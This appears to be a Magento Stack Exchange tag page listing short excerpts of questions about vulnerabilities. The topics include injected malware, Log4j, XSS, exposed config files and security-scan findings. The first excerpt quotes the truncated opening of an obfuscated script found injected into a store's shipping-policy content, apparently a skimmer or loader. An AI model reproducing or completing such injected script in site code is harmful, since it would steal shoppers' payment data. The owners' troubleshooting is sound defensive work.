Questions tagged [vulnerability]
The vulnerability tag has no usage guidance.
15 questions
1
vote
0
answers
292
views
script injected in magento 2.4.1 at shipping_policy_content
we found a script like this
in shipping/shipping_policy/shipping_policy_content
<script id="shopcart">((g,r,w,s,t,o) => {if(g.location.href.indexOf(atob(t))>-1){a=r.createElement(...
- 686
2
votes
0
answers
162
views
Magento 2.4.4 - Vulnerability url issue
We are getting vulnerability url issue in magento 2.
In all magento 2 version we are getting this type of data.
We are getting data on that pages.
http://yourdomain.com/customer/section/load/test.aspx
...
- 144
2
votes
0
answers
214
views
Magento2 Malware and security issues
We noticing since last few months that Magento instances are affecting of malware on the Magento2 sites? For example:
health_check.php attack - this file compromised
Credit card fields were update ...
2
votes
2
answers
85
views
Magento vulnerability in 2.4 and 2.3
Anyone knows what's going on with Magento. There are a lot of websites getting compromised recently and it doesn't matter which version you are.
Which version is safe for now? and are there any patch ...
0
votes
0
answers
437
views
Magento 2: NO RATE LIMIT IMPLEMENTED
During Penetration Test Scan it is found that website did not implement any rate-limiting on contact us page, Attacker can submit multiple forms and spam the database with false queries.
...
- 837
1
vote
1
answer
2k
views
Log4j CVE-2021-44228 Magento 2.3 / 2.4 with ElasticSearch
Has someone checked if a Magento 2.3/2.4 installation with ElasticSearch is vulnerable to the Log4j exploit CVE-2021-44228?
I've checked for the relevant .jar files in the ElasticSearch Apache CVE-...
- 141
1
vote
1
answer
1k
views
Use of Jquery 1.10 with Known Vulnerability
We launched a website 2 weeks ago and our client launch a pen test to check if everything was safe.
Unfortunately It looks that we have two issues because of :
Vulnerable javascript library: jQuery....
- 13
0
votes
1
answer
158
views
Magento 1.9 - Sanitization of Fields Required
I have to find PCI vulnerabilities in the Sanitization of fields. I have one form to submit data. In this, input fields of form should be sanitized.how to add a script for sanitization in magento1.9 ...
- 1,155
1
vote
0
answers
115
views
Magento 2.3.3: XSS Vulnerability in URL
I'm wondering if there is a fix/patch in Magento 2.3.3 for escaping URL's because it's still vulnerable for XSS attacks.
- 21
1
vote
1
answer
307
views
Magento Security Scan Erroneous Results (falses positive)?
The Magento Security Scan returned this vulnerability:
API ACL - Failed.
API ACL Patch not detected (APPSEC-1679)
Apply the Magento 2.0.14/2.1.7 Security Update immediately.
However, my site is ...
- 206
4
votes
2
answers
523
views
Magento 2.3.0: Magento Unprotected XML
I'm getting the following vulnerability issue when using the Magento Security Scan:
We have determined that your Magento installation's configuration file(s) are publicly accessible over HTTP.
'....
- 751
3
votes
0
answers
61
views
Magento 2 - PHP Vulnerabilities message
I am getting PHP Vulnerabilities notification and it is showing critical.
Reminder on PHP VulnerabilitiesMS-ISAC has issued an alert related to
multiple vulnerabilities that could allow for ...
- 9,572
0
votes
1
answer
189
views
Add to Compare: is there known exploitation?
Last week, one of my site received a bruteforce attack. When I check log/reports, I see this in my report:
a:5:{i:0;s:313:"SQLSTATE[23000]: Integrity constraint violation: 1452
Cannot add or ...
- 8,408
5
votes
2
answers
378
views
Should I be worried about the latest Zend-Mail RCE Vulnerability similar to the PHP-Mailer/Swift Mailer Vulnerability if I use Magento?
From the recently disclosed Zend-mail remote code execution vulnerability:
Affected Zend Framework versions:
Zend Framework < 2.4.11 Remote Code Execution (CVE-2016-10034)
zend-mail < 2.4....
- 189
3
votes
1
answer
289
views
how to solve Magento vulnerability issue
Magento website scan report says that it has some issue about security in website.following scan report says about my website vulnerability.
vulnerability Name: Php Info File
vulnerability Name: Web ...
- 935